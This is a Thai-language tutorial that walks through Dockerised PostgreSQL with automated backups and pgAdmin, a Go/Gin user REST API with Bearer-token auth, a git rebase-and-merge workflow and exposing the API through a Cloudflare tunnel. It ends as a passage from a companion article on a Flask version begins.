• แก้ไข File init.sql ใน Folder docker

-- สร้างตาราง users
CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    name VARCHAR(255) NOT NULL,
    email VARCHAR(255) NOT NULL UNIQUE,
    created_at TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP
);

-- สร้าง function สำหรับอัพเดท updated_at โดยอัตโนมัติ
CREATE OR REPLACE FUNCTION update_modified_column()
RETURNS TRIGGER AS $$
BEGIN
    NEW.updated_at = now();
    RETURN NEW;
END;
$$ language 'plpgsql';

-- สร้าง trigger สำหรับอัพเดท updated_at
CREATE TRIGGER update_users_modtime
    BEFORE UPDATE ON users
    FOR EACH ROW
    EXECUTE FUNCTION update_modified_column();

-- สร้าง indexes เพื่อเพิ่มประสิทธิภาพ
CREATE INDEX idx_users_email ON users(email);
CREATE INDEX idx_users_name ON users(name);

-- เพิ่มข้อมูลตัวอย่าง
INSERT INTO users (name, email) VALUES 
    ('ณัฐโชติ พรหมฤทธิ์', 'nuttachot@example.com'),
    ('สัจจาภรณ์ ไวจรรยา', 'sajjaporn@example.com'),
    ('สมศรี มีสุข', 'somsri@example.com');

• แก้ไข File Dockerfile ใน Folder backup

# backup/Dockerfile
FROM postgres:17-alpine

# ติดตั้ง dependencies ที่จำเป็น
RUN apk add --no-cache \
    bash \
    curl \
    pigz \
    tar \
    dcron \
    tzdata

# Copy backup script
COPY backup.sh /backup.sh
RUN chmod +x /backup.sh

# สร้าง directory สำหรับ log
RUN mkdir -p /var/log/cron && \
    touch /var/log/cron/cron.log && \
    chmod 0644 /var/log/cron/cron.log

# Create a script to setup and run cron
RUN echo '#!/bin/sh' > /entrypoint.sh && \
    echo 'printenv | grep -v "no_proxy" >> /etc/environment' >> /entrypoint.sh && \
    echo 'crond -f -d 8 >> /var/log/cron/cron.log 2>&1' >> /entrypoint.sh && \
    chmod +x /entrypoint.sh

ENTRYPOINT ["/entrypoint.sh"]

• แก้ไข File backup.sh ใน Folder backup

#!/bin/bash
# backup/backup.sh

# กำหนดตัวแปร
BACKUP_DIR="/backups"
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
BACKUP_FILE="backup_${TIMESTAMP}"

# สร้าง Folder backup ถ้ายังไม่มี
mkdir -p ${BACKUP_DIR}

# ทำ Database Backup
echo "Starting backup of PostgreSQL database: ${POSTGRES_DB}"
PGPASSWORD=${POSTGRES_PASSWORD} pg_dump -h ${POSTGRES_HOST} -U ${POSTGRES_USER} -d ${POSTGRES_DB} -F c -b -v -f "${BACKUP_DIR}/${BACKUP_FILE}.backup"

# บีบอัด File backup
echo "Compressing backup file..."
pigz "${BACKUP_DIR}/${BACKUP_FILE}.backup"

# ลบ File backup เก่า
echo "Removing old backups..."
find ${BACKUP_DIR} -type f -name "*.backup.gz" -mtime +${BACKUP_RETENTION_DAYS} -delete

# ตรวจสอบสถานะการทำงาน
if [ $? -eq 0 ]; then
    echo "Backup completed successfully: ${BACKUP_FILE}.backup.gz"
else
    echo "Backup failed!"
    exit 1
fi

# สร้าง symlink ไปยัง backup ล่าสุด
ln -sf "${BACKUP_DIR}/${BACKUP_FILE}.backup.gz" "${BACKUP_DIR}/latest.backup.gz"

ก่อน Commit Code เข้า Git นักพัฒนาต้องทดสอบก่อนว่ามันทำงานได้

• Deploy PostgreSQL, PGAdmin และ Backup Container

docker-compose up -d

• ตรวจสอบ Container ที่ Deploy

docker-compose ps

• ดู Logs ของ 3 Container ที่รัน

docker-compose logs

• ทดลอง Backup Database

docker exec postgres_backup /backup.sh

• สำหรับการ Restore เราจะใช้คำสั่งดังต่อไปนี้

# Latest backup
docker exec -it user_postgres pg_restore -U [user] -d [dbname] -v /backups/latest.backup.gz

# Specific backup
docker exec -it user_postgres pg_restore -U [user] -d [dbname] -v /backups/backup_[timestamp].backup.gz

ทดลอง Query ข้อมูลผ่าน PG Admin ดังนี้

• ไปยัง  URL http://localhost:5050 ใส่ Username และ Password ตามที่ได้กำหนดไว้ใน File .env

• กด Add New Server

• ตั้งชื่อ Connection

• กำหนดค่า Connection ต่าง ๆ

• คลิ๊กขวาที่ postgres เลือก Query Tool

• ทดสอบ Query ข้อมูลใน Table users ด้วยคำสั่งต่อไปนี้ แล้วกดปุ่ม Play

select * from users

• เมื่อทดสอบการ Deploy, Backup Database และ Query ข้อมูลแล้วจึง Commit Code เข้า Git ด้วยคำสั่งต่อไปนี้

git add .

git commit -m 'config postgresql, backup container and pgadmin'

• ดู History ที่ Commit

git log --oneline

Rebase โดยนำโค้ดใน branch ของเรามาอัปเดตให้ตรงกับ Trunk ล่าสุด

• แต่ก่อน Rebase ควรดึงการเปลี่ยนแปลงล่าสุดจาก Trunk เพื่อให้แน่ใจว่า Branch ของเราอยู่ในสถานะล่าสุด เหมือนบน Github Server

git checkout main

git pull origin main

• Rebase เพื่อนำโค้ดใน Branch ของเรามา Update ให้ตรงกับ Trunk ล่าสุด

git checkout feature/config-postgresql

git rebase main

• เมื่อ Code ใน Branch feature/config-postgresql ตรงกับ Trank ล่าสุดแล้ว จึง Merge กลับไปยัง Trunk (ถ้ามี Conflict ตอน Rebase ให้แก้ไข Conflict ก่อน Merge)

git checkout main

git merge feature/config-postgresql

*อาจ Push Branch feature/config-postgresql ขึ้น Github Server เพื่อเปิด Pull Request (PR) ให้ทีมตรวจสอบก่อนก็ได้

**ขั้นตอนการแก้ไข Conflict หลังจาก Rebase

1. ดู File ที่เกิด Conflict
2. เปิด File ที่มี Conflict และแก้ไขความขัดแย้ง
3. บันทึก File ที่แก้ไขแล้ว
4. ใช้ git add กับ File ที่แก้ไข
5. ใช้ git rebase --continue เพื่อดำเนินการ Rebase ต่อ
6. หากยังมี Conflict ให้ทำซ้ำขั้นตอนจนกว่าจะเสร็จสิ้น

ยกเลิกการ Rebase (ถ้าจำเป็น)
git rebase --abort

• Push Code ขึ้น Github Server

git push origin main

• ลบ Branch ย่อยที่เสร็จแล้ว

git branch -d feature/config-postgresql

• ดู History ทั้งหมด

git log --oneline

Trunk ของเราจะมี History เป็นเส้นตรงสวยงาม

พัฒนา API เชื่อมต่อกับ PostgreSQL และ Deploy บน Docker Container

เราจะสร้าง userservice Repo สำหรับเก็บ Codebase ของ REST API โดยมีโครงสร้างของ Project ดังต่อไปนี้

.
├── .env
├── .gitignore
├── Dockerfile
├── README.md
├── cmd
│   └── main.go
├── docker-compose.yml
├── go.mod
├── go.sum
├── internal
│   ├── config
│   │   └── config.go
│   ├── handler
│   │   └── user_handler.go
│   ├── middleware
│   │   └── auth_middleware.go
│   ├── models
│   │   └── user.go
│   ├── repository
│   │   └── user_repository.go
│   └── service
│       └── user_service.go
└── main

Project นี้มีการจัดการโครงสร้าง Code เป็น Layer โดยแยกความรับผิดชอบออกเป็นส่วน ๆ ดังนี้

1. cmd/
   มี File main.go ซึ่งเป็นจุดเริ่มต้นของ Program (Entry point) ทำหน้าที่
   - โหลด Configuration
   - เชื่อมต่อฐานข้อมูล
   - สร้าง Instance ของ Repository, Service และ Handler
   - ตั้งค่า HTTP Routes และ Middleware
   - รัน HTTP Server โดยใช้ Gin
2. internal/config/
   เก็บ Code เกี่ยวกับการโหลด Configuration เช่น ข้อมูลการเชื่อมต่อฐานข้อมูล API Token โดยอ่านจาก Environment Variables เพื่อความยืดหยุ่นในการ Deploy ในสภาพแวดล้อมต่าง ๆ
3. internal/middleware/
   เก็บ Middleware เช่น BearerAuth ซึ่งใช้สำหรับตรวจสอบ Bearer Token ใน Header ของ HTTP Request เพื่อใช้ป้องกันการเข้าถึง Resources ที่ต้อง Authentication
4. internal/models/
   เก็บข้อมูลโครงสร้างของ Entity เช่น User ซึ่งจะระบุ Field และชนิดข้อมูล ที่สะท้อนถึงตารางในฐานข้อมูล โดยไม่มี Logic อื่น ๆ ปะปน
5. internal/repository/
   ทำหน้าที่เป็นชั้น Data Access Layer ติดต่อกับฐานข้อมูล PostgreSQL โดยตรง ใช้คำสั่ง SQL (เช่น SELECT, INSERT, UPDATE และ DELETE) เพื่อจัดการข้อมูล User
   - มี Interface UserRepository กำหนดสัญญา (Contract) ของการเข้าถึงข้อมูล User
   - มี Struct ที่ Implement Interface เพื่อเชื่อมกับ DB
   - มี Function อย่างเช่น ConnectDB และ CheckDBConnection ใช้สำหรับเชื่อมและตรวจสอบการเชื่อมต่อกับฐานข้อมูล
   - เมื่อมีการเปลี่ยนแปลงฐานข้อมูล หรือย้ายไปใช้แหล่งข้อมูลอื่นก็สามารถสร้าง UserRepository ตัวใหม่ที่ Implement Interface เดิมได้โดยไม่กระทบชั้นบน
6. internal/service/
   ทำหน้าที่เป็นชั้น Business Logic หรือ Domain Logic อยู่ระหว่าง Repository และ Handler
7. internal/handler/
   ชั้นนี้เป็นชั้น Interface กับภายนอกผ่าน HTTP/Gin Router

Request Flow

1. Client ยิง Request -> เข้า Gin -> เช็ค Middleware Auth -> เข้าถึง Handler
2. Handler รับ Request -> เรียก Service ทำงาน
3. Service ทำงาน -> เรียก Repository เมื่อต้องใช้ DB
4. Repository ดึง/แก้ไขข้อมูลใน DB ส่งกลับ Service
5. Service ตีความข้อมูลหรือ Error ส่งกลับ Handler
6. Handler แปลงผลลัพธ์เป็น HTTP Response JSON กลับไปยัง Client

ให้นักศึกษาสร้าง Project โดยมีขั้นตอนดังต่อไปนี้

• สร้าง Folder userservice เข้าไปใน Folder นี้แล้วเริ่มต้นใช้งาน Git ด้วยคำสั่งต่อไปนี้

git init

• ไปที่ Github.com สร้าง Git Repo ชื่อ userservice เลือกชนิด Repo แบบ Private แล้วกด Create repository

• เลือก SSH แล้วกด Copy URL

• เชื่อมต่อกับ Git Repo ด้วยคำสั่ง git remote add origin ตามด้วย URL ที่ได้ Copy มา เช่น

git remote add origin git@github.com:promritn/userservice.git

• สร้าง File README.md ใน Folder userservice

touch README.md

• พิมพ์หัวข้อ REST API Project แบบหัวเรื่องระดับ 1 ใน File README.md ด้วย Tag ของ Markdown แล้ว Save

# REST API Project

• Commit เข้า Git ด้วยคำสั่งต่อไปนี้

git add .

git commit -m 'first commit'

• Push Code ที่ Commit ขึ้น Github Server

git push origin main

สร้าง Short-Lived Branch ชื่อ feature/restapi-dev

git checkout -b feature/restapi-dev

• สร้าง File และ Folder ของ Project ตามโครงสร้างดังต่อไปนี้

.
├── .env
├── .gitignore
├── Dockerfile
├── README.md
├── cmd
│   └── main.go
├── docker-compose.yml
└── internal
    ├── config
    │   └── config.go
    ├── handler
    │   └── user_handler.go
    ├── middleware
    │   └── auth_middleware.go
    ├── models
    │   └── user.go
    ├── repository
    │   └── user_repository.go
    └── service
        └── user_service.go

• แก้ไข File docker-compose.yml

services:
  api:
    build: .
    ports:
      - "${API_PORT}:80"
    env_file:
      - .env
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:80/health"]
      interval: 30s
      timeout: 10s
      retries: 3
      start_period: 5s
    restart: unless-stopped  # จะ Restart Container อัตโนมัติถ้า Health Check ไม่ผ่าน

• แก้ไข File .env โดยเปลี่ยน IP Address ของ DB_HOST เป็นเครื่องของคุณ

# .env
# เปลี่ยน IP Address ของ DB_HOST เป็นเครื่องของคุณ
DB_HOST=172.20.10.2
DB_PORT=5432
DB_USER=postgres
DB_PASSWORD=postgres123
DB_NAME=postgres
API_TOKEN=fjwfji3399
API_PORT=8080

• แก้ไข File .gitignore

# .gitignore
.env

• แก้ไข File Dockerfile

# Build Stage
FROM golang:1.23.3 AS builder

WORKDIR /app

# คัดลอก File go.mod และ go.sum เพื่อให้สามารถ Cache Dependency ได้
COPY go.mod go.sum ./
RUN go mod download

# คัดลอก Code ทั้งหมด
COPY . .

# สร้าง File Binary 'main' จาก Source Code ใน cmd/main.go 
RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o main ./cmd/main.go

# Run Stage
FROM alpine:latest  

RUN apk --no-cache add ca-certificates curl

WORKDIR /root/
# คัดลอก Binary จาก Builder Stage
COPY --from=builder /app/main .

# กำหนด Entrypoint เป็น Binary main
ENTRYPOINT ["./main"]

• แก้ไข main.go

package main

import (
	"fmt"
	"log"
	"net/http"

	"github.com/gin-gonic/gin"
	_ "github.com/lib/pq"

	"users/internal/config"
	"users/internal/handler"
	"users/internal/middleware"
	"users/internal/repository"
	"users/internal/service"
)

func main() {
	cfg := config.LoadConfig()

	// เชื่อมต่อ Database
	db, err := repository.ConnectDB(cfg)
	if err != nil {
		log.Fatalf("Failed to connect to DB: %v", err)
	}
	defer db.Close()

	userRepo := repository.NewUserRepository(db)
	userService := service.NewUserService(userRepo)
	userHandler := handler.NewUserHandler(userService)

	r := gin.Default()

	// Health Check ไม่ต้องใช้ Token
	r.GET("/health", func(c *gin.Context) {
		if err := repository.CheckDBConnection(db); err != nil {
			c.JSON(http.StatusServiceUnavailable, gin.H{"detail": "Database connection failed"})
			return
		}
		c.JSON(http.StatusOK, gin.H{"status": "healthy", "database": "connected"})
	})

	// Protected routes ต้องใช้ Bearer Token
	authRequired := r.Group("/api/v1", middleware.BearerAuth(cfg.APIToken))
	{
		authRequired.GET("/users", userHandler.GetAllUsers)
		authRequired.GET("/users/:id", userHandler.GetUserByID)
		authRequired.POST("/users", userHandler.CreateUser)
		authRequired.PUT("/users/:id", userHandler.UpdateUser)
		authRequired.DELETE("/users/:id", userHandler.DeleteUser)
	}
	r.Run(":80")
}

• แก้ไข config.go

package config

import (
	"os"
)

type Config struct {
	DBHost     string
	DBPort     string
	DBUser     string
	DBPassword string
	DBName     string
	APIToken   string
	APIPORT    string
}

func LoadConfig() Config {
	return Config{
		DBHost:     getEnv("DB_HOST", "localhost"),
		DBPort:     getEnv("DB_PORT", "5432"),
		DBUser:     getEnv("DB_USER", "postgres"),
		DBPassword: getEnv("DB_PASSWORD", "postgres123"),
		DBName:     getEnv("DB_NAME", "postgres"),
		APIToken:   getEnv("API_TOKEN", "fjwfji3399"),
		APIPORT:    getEnv("API_PORT", "80"),
	}
}

func getEnv(key, fallback string) string {
	v := os.Getenv(key)
	if v == "" {
		return fallback
	}
	return v
}

• แก้ไข user_handler.go

package handler

import (
	"net/http"
	"strconv"

	"github.com/gin-gonic/gin"

	"users/internal/service"
)

type UserHandler struct {
	userService service.UserService
}

// Inject UserService ผ่าน Constructor
func NewUserHandler(us service.UserService) *UserHandler {
	return &UserHandler{userService: us}
}

func (h *UserHandler) GetAllUsers(c *gin.Context) {
	users, err := h.userService.GetAllUsers()
	if err != nil {
		c.JSON(http.StatusInternalServerError, gin.H{"error": "Internal server error"})
		return
	}
	c.JSON(http.StatusOK, users)
}

func (h *UserHandler) GetUserByID(c *gin.Context) {
	id, _ := strconv.Atoi(c.Param("id"))
	user, err := h.userService.GetUserByID(id)
	if err != nil {
		c.JSON(http.StatusNotFound, gin.H{"error": "User not found"})
		return
	}
	c.JSON(http.StatusOK, user)
}

func (h *UserHandler) CreateUser(c *gin.Context) {
	var req struct {
		Name  string `json:"name"`
		Email string `json:"email"`
	}
	if err := c.ShouldBindJSON(&req); err != nil {
		c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid JSON"})
		return
	}
	user, err := h.userService.CreateUser(req.Name, req.Email)
	if err != nil {
		if err.Error() == "email already exists" {
			c.JSON(http.StatusBadRequest, gin.H{"error": "Email already exists"})
		} else {
			c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
		}
		return
	}
	c.JSON(http.StatusCreated, user)
}

func (h *UserHandler) UpdateUser(c *gin.Context) {
	id, _ := strconv.Atoi(c.Param("id"))

	var req struct {
		Name  string `json:"name"`
		Email string `json:"email"`
	}
	if err := c.ShouldBindJSON(&req); err != nil {
		c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid JSON"})
		return
	}

	user, err := h.userService.UpdateUser(id, req.Name, req.Email)
	if err != nil {
		if err.Error() == "not found" {
			c.JSON(http.StatusNotFound, gin.H{"error": "User not found"})
			return
		}
		if err.Error() == "email already exists" {
			c.JSON(http.StatusBadRequest, gin.H{"error": "Email already exists"})
			return
		}
		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
		return
	}
	c.JSON(http.StatusOK, user)
}

func (h *UserHandler) DeleteUser(c *gin.Context) {
	id, _ := strconv.Atoi(c.Param("id"))
	err := h.userService.DeleteUser(id)
	if err != nil {
		if err.Error() == "not found" {
			c.JSON(http.StatusNotFound, gin.H{"error": "User not found"})
			return
		}
		c.JSON(http.StatusInternalServerError, gin.H{"error": "Internal server error"})
		return
	}
	c.JSON(http.StatusOK, gin.H{"message": "User deleted successfully"})
}

• แก้ไข auth_middleware.go

package middleware

import (
	"net/http"
	"strings"

	"github.com/gin-gonic/gin"
)

// BearerAuth ตรวจสอบ Bearer Token ใน Header
func BearerAuth(apiToken string) gin.HandlerFunc {
	return func(c *gin.Context) {
		authHeader := c.GetHeader("Authorization")
		if authHeader == "" || !strings.HasPrefix(authHeader, "Bearer ") {
			c.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"error": "Missing or invalid Authorization header"})
			return
		}
		token := strings.TrimPrefix(authHeader, "Bearer ")
		if token != apiToken {
			c.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"error": "Invalid token"})
			return
		}
		c.Next()
	}
}

• แก้ไข user.go

package models

import "time"

type User struct {
	ID        int       `db:"id" json:"id"`
	Name      string    `db:"name" json:"name"`
	Email     string    `db:"email" json:"email"`
	CreatedAt time.Time `db:"created_at" json:"created_at"`
	UpdatedAt time.Time `db:"updated_at" json:"updated_at"`
}

• แก้ไข user_service.go

package service

import (
	"errors"
	"strings"

	"users/internal/models"
	"users/internal/repository"
)

type UserService interface {
	GetAllUsers() ([]models.User, error)
	GetUserByID(id int) (*models.User, error)
	CreateUser(name, email string) (*models.User, error)
	UpdateUser(id int, name, email string) (*models.User, error)
	DeleteUser(id int) error
}

type userService struct {
	repo repository.UserRepository
}

// Inject Repository ผ่าน Constructor ตามหลัก DIP
func NewUserService(repo repository.UserRepository) UserService {
	return &userService{repo: repo}
}

func (s *userService) GetAllUsers() ([]models.User, error) {
	return s.repo.GetAll()
}

func (s *userService) GetUserByID(id int) (*models.User, error) {
	return s.repo.GetByID(id)
}

func (s *userService) CreateUser(name, email string) (*models.User, error) {
	if strings.TrimSpace(name) == "" || strings.TrimSpace(email) == "" {
		return nil, errors.New("name and email are required")
	}
	user, err := s.repo.Create(name, email)
	if err != nil && strings.Contains(err.Error(), "duplicate key") {
		return nil, errors.New("email already exists")
	}
	return user, err
}

func (s *userService) UpdateUser(id int, name, email string) (*models.User, error) {
	if strings.TrimSpace(name) == "" || strings.TrimSpace(email) == "" {
		return nil, errors.New("name and email are required")
	}
	user, err := s.repo.Update(id, name, email)
	if err != nil && strings.Contains(err.Error(), "duplicate key") {
		return nil, errors.New("email already exists")
	}
	return user, err
}

func (s *userService) DeleteUser(id int) error {
	return s.repo.Delete(id)
}

• แก้ไข user_repository.go

package repository

import (
	"database/sql"
	"errors"
	"fmt"
	"time"

	"users/internal/config"
	"users/internal/models"

	_ "github.com/lib/pq"
)

// UserRepository interface ตามหลัก DIP
type UserRepository interface {
	GetAll() ([]models.User, error)
	GetByID(id int) (*models.User, error)
	Create(name, email string) (*models.User, error)
	Update(id int, name, email string) (*models.User, error)
	Delete(id int) error
}

type userRepository struct {
	db *sql.DB
}

func NewUserRepository(db *sql.DB) UserRepository {
	return &userRepository{db: db}
}

func ConnectDB(cfg config.Config) (*sql.DB, error) {
	// (DSN) Data Source Name คือ String ที่ใช้ระบุข้อมูลการเชื่อมต่อกับฐานข้อมูล
	// การใช้งาน DSN จะขึ้นอยู่กับ Library หรือ Framework ที่ใช้งาน
	dsn := fmt.Sprintf("host=%s port=%s user=%s password=%s dbname=%s sslmode=disable", cfg.DBHost, cfg.DBPort, cfg.DBUser, cfg.DBPassword, cfg.DBName)

	db, err := sql.Open("postgres", dsn)
	if err != nil {
		return nil, fmt.Errorf("failed to connect to database: %w", err)
	}
	// ตั้งค่า Connection Pool
	db.SetMaxOpenConns(25)                 // จำนวน Connection สูงสุดที่สามารถเปิดได้
	db.SetMaxIdleConns(10)                 // จำนวน Connection สูงสุดที่สามารถอยู่ใน Idle State
	db.SetConnMaxLifetime(5 * time.Minute) // อายุการใช้งานสูงสุดของ Connection

	if err := db.Ping(); err != nil {
		return nil, fmt.Errorf("failed to ping database: %w", err)
	}

	return db, nil
}

func CheckDBConnection(db *sql.DB) error {
	return db.Ping()
}

func (r *userRepository) GetAll() ([]models.User, error) {
	rows, err := r.db.Query("SELECT id, name, email, created_at, updated_at FROM users ORDER BY id")
	if err != nil {
		return nil, err
	}
	defer rows.Close()

	var users []models.User
	for rows.Next() {
		var u models.User
		if err := rows.Scan(&u.ID, &u.Name, &u.Email, &u.CreatedAt, &u.UpdatedAt); err != nil {
			return nil, err
		}
		users = append(users, u)
	}
	return users, rows.Err()
}

func (r *userRepository) GetByID(id int) (*models.User, error) {
	var u models.User
	err := r.db.QueryRow("SELECT id, name, email, created_at, updated_at FROM users WHERE id=$1", id).
		Scan(&u.ID, &u.Name, &u.Email, &u.CreatedAt, &u.UpdatedAt)

	if err == sql.ErrNoRows {
		return nil, errors.New("not found")
	} else if err != nil {
		return nil, err
	}
	return &u, nil
}

func (r *userRepository) Create(name, email string) (*models.User, error) {
	var u models.User
	err := r.db.QueryRow(
		"INSERT INTO users (name, email) VALUES ($1, $2) RETURNING id, name, email, created_at, updated_at",
		name, email,
	).Scan(&u.ID, &u.Name, &u.Email, &u.CreatedAt, &u.UpdatedAt)

	if err != nil {
		return nil, err
	}
	return &u, nil
}

func (r *userRepository) Update(id int, name, email string) (*models.User, error) {
	var u models.User
	err := r.db.QueryRow(
		"UPDATE users SET name=$1, email=$2, updated_at=now() WHERE id=$3 RETURNING id, name, email, created_at, updated_at",
		name, email, id,
	).Scan(&u.ID, &u.Name, &u.Email, &u.CreatedAt, &u.UpdatedAt)

	if err == sql.ErrNoRows {
		return nil, errors.New("not found")
	} else if err != nil {
		return nil, err
	}
	return &u, nil
}

func (r *userRepository) Delete(id int) error {
	res, err := r.db.Exec("DELETE FROM users WHERE id=$1", id)
	if err != nil {
		return err
	}
	rowsAffected, _ := res.RowsAffected()
	if rowsAffected == 0 {
		return errors.New("not found")
	}
	return nil
}

สร้าง File go.mod ด้วยคำสั่ง go mod init users

go mod init users

ติดตั้ง Package "github.com/lib/pq"

go get github.com/lib/pq

ติดตั้ง Package "github.com/gin-gonic/gin"

go get github.com/gin-gonic/gin

รันคำสั่ง go mod tidy ทุกครั้งที่มีการเปลี่ยนแปลง Dependency เพื่อรักษาความสอดคล้องและความสมบูรณ์ของ Dependency ใน Project

go mod tidy

ก่อน Commit Code เข้า Git นักพัฒนาต้องทดสอบก่อนว่ามันทำงานได้

• Deploy API

docker-compose up -d

• ตรวจสอบ Container ที่ Deploy

docker-compose ps

• ดู Logs ของ Container ที่รัน

docker-compose logs

• ทดลองยิง API เส้น /health ผ่าน curl

curl http://localhost:8080/health

• ทดลองยิง API เส้น /health ผ่าน Postman

• ทดลองดึงข้อมูล users ทั้งหมดจาก Database ผ่าน Postman ด้วย Method GET (ต้องมี Bearer Token ใน Header)

http://localhost:8080/api/v1/users

• ทดลองดึงข้อมูล users คนที่ 1 จาก Database ผ่าน Postman ด้วย Method GET (ต้องมี Bearer Token ใน Header)

http://localhost:8080/api/v1/users/1

• ทดลองเพิ่ม users ใหม่ลง Database โดยรับข้อมูลแบบ JSON Format ผ่าน Postman ด้วย Method POST (ต้องมี Bearer Token ใน Header)

http://localhost:8080/api/v1/users

{
        "name": "apple",
        "email": "apple@email.com"
}

• ทดลองแก้ไข Email ของ User คนที่ 1 เป็น nuttachot@hotmail.com ผ่าน JSON Format ด้วย Method PUT (ต้องมี Bearer Token ใน Header)

http://localhost:8080/api/v1/users/1

{
        "name": "nuttachot promrit",
        "email": "nuttachot@hotmail.com"
}

• ทดลองลบ User คนที่ 3 ด้วย Method DELETE (ต้องมี Bearer Token ใน Header)

http://localhost:8080/api/v1/users/3

• เมื่อทดสอบการยิง API แต่ละเส้นแล้วจึง Commit Code เข้า Git ด้วยคำสั่งต่อไปนี้

git add .

git commit -m 'rest api dev'

ดู History ที่ Commit

git log --oneline

Rebase โดยนำโค้ดใน Branch ของเรามา Update ให้ตรงกับ Trunk ล่าสุด

• แต่ก่อน Rebase ควรดึงการเปลี่ยนแปลงล่าสุดจาก Trunk เพื่อให้แน่ใจว่า Branch ของเราอยู่ในสถานะล่าสุด เหมือนบน Github Server

git checkout main

git pull origin main

• Rebase เพื่อนำโค้ดใน Branch ของเรามา Update ให้ตรงกับ Trunk ล่าสุด

git checkout feature/restapi-dev

git rebase main

• เมื่อ Code ใน Branch feature/restapi-dev ตรงกับ Trank ล่าสุดแล้ว จึง Merge กลับไปยัง Trunk (ถ้ามี Conflict ให้แก้ไข Conflict ก่อน Merge)

git checkout main
git merge feature/restapi-dev

• Push Code ขึ้น Github Server

git push origin main

• ลบ Branch ย่อยที่เสร็จแล้ว

git branch -d feature/restapi-dev

• ดู History ทั้งหมด

git log --oneline

Expose API ให้เข้าถึงจาก Internet

การติดตั้ง Cloudflared บน Linux

sudo apt update

sudo wget -O cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64

sudo mv cloudflared /usr/local/bin/

sudo chmod +x /usr/local/bin/cloudflared

cloudflared --version

การติดตั้ง Cloudflared บน maxOS

# ติดตั้ง wget (macOS ไม่มี wget มาให้ตั้งแต่ต้น อาจใช้ brew เพื่อติดตั้ง)
brew install wget

# Download File สำหรับ macOS (Darwin)
wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-darwin-amd64.tgz -O cloudflared.tgz

# แตก File
tar -xvzf cloudflared.tgz

# เพิ่ม Permission ให้ File executable ได้
chmod +x cloudflared

# ย้าย Binary File ไปยัง /usr/local/bin
sudo mv cloudflared /usr/local/bin/cloudflared

# ตรวจสอบ Version
cloudflared --version

การติดตั้ง Cloudflared บน Windows

• เปิด Command Prompt ด้วยสิทธิ์ Administrator

# ใช้คำสั่ง curl เพื่อ Download File cloudflared.exe
curl -L -o cloudflared.exe https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe

# ตรวจสอบ Version
cloudflared.exe --version

Expose API

• สร้าง Cloudflare Tunnel

cloudflared tunnel --url http://localhost:8080

• Copy URL ที่ได้นำไปเปิดบน Browser โดยเพิ่ม Path /health เช่น

https://processed-om-continued-communication.trycloudflare.com/health

บทความโดย ผศ.ดร.ณัฐโชติ พรหมฤทธิ์
ภาควิชาคอมพิวเตอร์
คณะวิทยาศาสตร์
มหาวิทยาลัยศิลปากร

บทความนี้ผู้อ่านจะได้พัฒนา REST API สำหรับ User Service ด้วย Flask ซึ่งเป็น Web Framework ขนาดเล็กใน Python โดยมี API Endpoint ดังต่อไปนี้

1. GET /api/v1/users
2. GET /api/v1/users/{user_id}
3. POST /api/v1/users
4. PUT /api/v1/users/{user_id}
5. DELETE /api/v1/users/{user_id}
6. GET /health

เราจะใช้ HTTP Verb (Method) หลัก ๆ ได้แก่ GET, POST, PUT และ DELETE เพื่อกําหนดการดําเนินการที่เราสามารถทำได้กับ Resource ของ User Service

โดย GET จะถูกใช้เพื่อดึง Resource และ POST จะถูกใช้สำหรับสร้าง Resource ใหม่ ส่วน PUT ถูกใช้สำหรับการ Update แบบแทนที่ และ DELETE สำหรับลบ Resource ที่มีอยู่

แต่ละ Endpoint มีรายละเอียดดังต่อไปนี้

GET /api/v1/users
- สำหรับดึงข้อมูลผู้ใช้ทั้งหมดจากฐานข้อมูล เรียงตาม id จากน้อยไปมาก
- ไม่ต้องส่ง Parameter
- ต้องมี Bearer Token ใน Header
- ส่งคืนข้อมูลเป็น Array ของผู้ใช้

# ดึงข้อมูลผู้ใช้ทั้งหมดจากฐานข้อมูล
# เรียงตาม id จากน้อยไปมาก
# query = "SELECT * FROM users ORDER BY id"

# ตัวอย่างผลลัพธ์
[
    {
        "id": 1,
        "name": "Nuttachot",
        "email": "nuttachot@email.com"
    },
    {
        "id": 2,
        "name": "Poohkan",
        "email": "poohkan@email.com"
    }
]

GET /api/v1/users/{user_id}
- สำหรับดึงข้อมูลผู้ใช้ตาม ID ที่ระบุ
- ต้องระบุ user_id ที่ต้องการใน Path
- ต้องมี Bearer Token ใน Header
- ถ้าไม่พบผู้ใช้จะ Return 404

# ดึงข้อมูลผู้ใช้ตาม id ที่ระบุ
# query = "SELECT * FROM users WHERE id = %s"

# ตัวอย่างผลลัพธ์
{
    "id": 1,
    "name": "Nuttachot",
    "email": "nuttachot@email.com"
}

POST /api/v1/users
- สำหรับสร้างผู้ใช้ใหม่จากข้อมูลที่ส่งมา
- ต้องส่งข้อมูล name และ email มาในรูปแบบ JSON
- ต้องมี Bearer Token ใน Header
- email ต้องไม่ซ้ำกับที่มีอยู่แล้ว
- ส่งคืนข้อมูลผู้ใช้ที่สร้างใหม่พร้อม ID

# สร้างผู้ใช้ใหม่จากข้อมูลที่ส่งมา

# ตัวอย่างข้อมูลที่ต้องส่ง
{
    "name": "Nuttachot",
    "email": "nuttachot@email.com"
}

# ตัวอย่างผลลัพธ์
{
    "id": 1,  # ID จะถูกสร้างอัตโนมัติ
    "name": "Nuttachot",
    "email": "nuttachot@email.com"
}

PUT /api/v1/users/{user_id}
- สำหรับอัพเดทข้อมูลผู้ใช้ทั้งหมดตาม ID ที่ระบุ
- ต้องระบุ user_id ที่ต้องการแก้ไขใน Path
- ต้องส่งข้อมูลใหม่ทั้ง name และ email
- ต้องมี Bearer Token ใน header
- ถ้าไม่พบผู้ใช้จะ Return 404
- email ใหม่ต้องไม่ซ้ำกับคนอื่น
